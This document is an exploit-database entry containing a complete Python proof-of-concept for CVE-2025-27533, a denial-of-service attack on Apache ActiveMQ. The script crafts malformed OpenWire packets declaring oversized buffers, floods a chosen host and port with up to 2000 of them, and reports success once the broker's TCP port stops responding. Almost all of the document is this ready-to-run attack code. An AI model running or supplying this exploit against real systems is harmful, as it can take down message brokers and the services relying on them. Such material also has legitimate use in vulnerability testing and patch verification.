Apache ActiveMQ 6.1.6 - Denial of Service (DOS)

# Exploit Title: Apache ActiveMQ 6.1.6 - Denial of Service (DOS) 
# Date: 2025-05-9
# Exploit Author: [Abdualhadi khalifa (https://x.com/absholi7ly/)
# Github: https://github.com/absholi7ly/CVE-2025-27533-Exploit-for-Apache-ActiveMQ
# CVE: CVE-2025-27533

import socket
import struct
import time
import datetime
import threading
import requests
import argparse
import random
from colorama import init, Fore
from tabulate import tabulate
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor

init()

def print_banner():
    banner = f"""
{Fore.CYAN}============================================================
        CVE-2025-27533 Exploit PoC - Apache ActiveMQ DoS
============================================================
{Fore.YELLOW}Developed by: absholi7ly
{Fore.CYAN}============================================================{Fore.RESET}
    """
    print(banner)

def _check_server_availability(host, port, admin_port=8161, timeout=2):
    """Internal function to check server availability"""
    tcp_reachable = False
    admin_reachable = False
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((host, port))
        sock.close()
        tcp_reachable = True
    except (socket.timeout, ConnectionRefusedError):
        pass
    
    try:
        response = requests.get(f"http://{host}:{admin_port}/admin", timeout=timeout)
        admin_reachable = response.status_code == 200
    except (requests.Timeout, requests.ConnectionError):
        pass
    
    return tcp_reachable, admin_reachable

def check_server_availability(host, port, admin_port=8161, timeout=2, retries=5):
    for _ in range(retries):
        tcp_reachable, admin_reachable = _check_server_availability(host, port, admin_port, timeout)
        if not tcp_reachable:
            return False, admin_reachable
        time.sleep(0.5)
    return True, admin_reachable

def parse_hex_or_int(value):
    try:
        if value.startswith('0x') or value.startswith('0X'):
            return int(value, 16)
        return int(value)
    except ValueError:
        raise ValueError(f"Invalid integer or hex value: {value}")

def create_malicious_packet(buffer_size=0x1E00000, packet_id=1):
    command_type = 0x01
    client_id = f"EXPLOIT-PACKET-{packet_id:04d}".encode()
    version = 12
    
    packet = bytearray()
    packet += b'\x00\x00\x00\x00'
    packet += struct.pack("B", command_type)
    packet += struct.pack(">I", len(client_id))
    packet += client_id
    packet += struct.pack(">I", version)
    packet += struct.pack(">I", buffer_size)
    packet += bytes(random.randint(0, 255) for _ in range(50)) 
    
    packet_length = len(packet) - 4
    packet[0:4] = struct.pack(">I", packet_length)
    
    return packet

def send_single_packet(host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event):
    if stop_event.is_set():
        return
    
    timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
    tcp_reachable, admin_reachable = check_server_availability(host, port)
    status = f"TCP: {'Up' if tcp_reachable else 'Down'}, Admin: {'Up' if admin_reachable else 'Down'}"
    local_port = "N/A"
    connection_status = "Success"
    
    max_connect_retries = 5
    for connect_attempt in range(max_connect_retries):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 1024)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)  
        
        try:
            sock.connect((host, port))
            local_port = sock.getsockname()[1]
            print(f"{Fore.GREEN}[+] Connected to {host}:{port} (Packet {packet_num}/{total_packets}, Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}")
            
            max_retries = 3
            for attempt in range(max_retries):
                try:
                    sock.send(packet)
                    print(f"{Fore.CYAN}[*] Sent Packet {packet_num}/{total_packets} (Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}")
                    try:
                        response = sock.recv(2048)  
                        response_len = len(response)
                        connection_status = f"Success (Response: {response_len} bytes)"
                    except:
                        connection_status = "Success (No Response)"
                    break
                except socket.error as e:
                    connection_status = f"Failed: {str(e)}"
                    if attempt < max_retries - 1:
                        print(f"{Fore.YELLOW}[-] Failed to send Packet {packet_num}/{total_packets} (Attempt {attempt+1}, Port: {local_port}): {e}. Retrying...{Fore.RESET}")
                        time.sleep(0.5)
                        continue
                    else:
                        print(f"{Fore.RED}[-] Failed to send Packet {packet_num}/{total_packets} after {max_retries} attempts: {e}{Fore.RESET}")
            
            packet_status.append([packet_num, timestamp, status, local_port, f"Packet-{packet_num:04d}", connection_status])
            break
        
        except socket.timeout:
            print(f"{Fore.RED}[-] Connection timeout for Packet {packet_num}/{total_packets} (Port: {local_port}){Fore.RESET}")
            packet_status.append([packet_num, timestamp, "Connection Timeout", local_port, f"Packet-{packet_num:04d}", "Timeout"])
            break
        except socket.error as e:
            error_str = str(e)
            if "10053" in error_str:
                error_type = "Connection Reset"
            elif "timeout" in error_str:
                error_type = "Timeout"
            else:
                error_type = "Other"
            if "10053" in error_str and connect_attempt < max_connect_retries - 1:
                print(f"{Fore.YELLOW}[-] [WinError 10053] for Packet {packet_num}/{total_packets} (Attempt {connect_attempt+1}): {e}. Retrying connection...{Fore.RESET}")
                time.sleep(1)
                continue
            print(f"{Fore.RED}[-] Error connecting for Packet {packet_num}/{total_packets} (Port: {local_port}): {e}{Fore.RESET}")
            packet_status.append([packet_num, timestamp, f"Error: {error_type}", local_port, f"Packet-{packet_num:04d}", f"Error: {error_str}"])
            break
        
        finally:
            sock.close()
    
    packet = None  

def send_packets(host, port, total_packets=2000, buffer_sizes=[0x1E00000, 0x3200000]):
    packet_status = []
    stop_event = threading.Event()
    max_threads = 2  
    
    pbar = tqdm(total=total_packets, desc="Sending Packets", unit="packet")
    
    def monitor_server():
        while not stop_event.is_set():
            tcp_reachable, _ = check_server_availability(host, port)
            if not tcp_reachable:
                print(f"{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}")
                stop_event.set()
                break
            time.sleep(1)
    
    monitor_thread = threading.Thread(target=monitor_server)
    monitor_thread.start()
    
    packet_num = 1
    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        futures = []
        while packet_num <= total_packets and not stop_event.is_set():
            buffer_size = random.choice(buffer_sizes)  
            packet = create_malicious_packet(buffer_size, packet_num)
            future = executor.submit(
                send_single_packet,
                host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event
            )
            futures.append(future)
            packet_num += 1
            pbar.update(1)
            time.sleep(random.uniform(0.3, 0.5)) 
            
            if packet_num % 50 == 0:
                tcp_reachable, _ = check_server_availability(host, port)
                time.sleep(2)  
                if not tcp_reachable:
                    print(f"{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}")
                    stop_event.set()
                    break
                print(f"{Fore.MAGENTA}[*] {packet_num} packets sent,{Fore.RESET}")
    
    pbar.close()
    stop_event.set()
    monitor_thread.join()
    
    packet_status.sort(key=lambda x: x[0])
    
    total_sent = len(packet_status)
    successful = sum(1 for p in packet_status if p[5].startswith("Success"))
    failed = total_sent - successful
    
    print(f"\n{Fore.CYAN}[*] Packet Status Table:{Fore.RESET}")
    print(tabulate(
        packet_status,
        headers=["Packet #", "Timestamp", "Server Status", "Local Port", "Packet ID", "Connection"],
        tablefmt="fancy_grid",
        stralign="center",
        numalign="center"
    ))
    
    print(f"\n{Fore.CYAN}[*] Exploit Statistics:{Fore.RESET}")
    print(f"  - Total Packets Sent: {total_sent}")
    print(f"  - Successful Packets: {successful} ({successful/total_sent*100:.2f}%)")
    print(f"  - Failed Packets: {failed} ({failed/total_sent*100:.2f}%)")
    
    tcp_reachable, admin_reachable = check_server_availability(host, port)
    print(f"\n{Fore.CYAN}[*] Final Server Status:{Fore.RESET}")
    if not tcp_reachable:
        print(f"{Fore.GREEN}[+] Exploit Successful: TCP port {port} is down!{Fore.RESET}")
    else:
        print(f"{Fore.YELLOW}[-] Exploit Incomplete: TCP port {port} still up.{Fore.RESET}")
    
    return packet_status

def main():
    print_banner()
    
    parser = argparse.ArgumentParser(description="CVE-2025-27533 Exploit PoC for Apache ActiveMQ")
    parser.add_argument("--host", default="127.0.0.1", help="Target IP address")
    parser.add_argument("--port", type=int, default=61616, help="OpenWire port")
    parser.add_argument("--total-packets", type=int, default=2000, help="Total packets to send")
    parser.add_argument("--buffer-sizes", type=parse_hex_or_int, nargs='+', default=[0x1E00000, 0x3200000],
                        help="Buffer sizes in bytes (decimal or hex)")
    
    args = parser.parse_args()
    
    print(f"{Fore.CYAN}[*] Exploit Configuration:{Fore.RESET}")
    print(f"  - Target: {args.host}:{args.port}")
    print(f"  - Total Packets: {args.total_packets}")
    print(f"  - Buffer Sizes: {[f'{size:#x} ({size // (1024*1024)} MB)' for size in args.buffer_sizes]}")
    
    print(f"\n{Fore.CYAN}[*] Sending malicious packets...{Fore.RESET}")
    packet_status = send_packets(args.host, args.port, args.total_packets, args.buffer_sizes)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"{Fore.RED}[-] Program interrupted by user.{Fore.RESET}")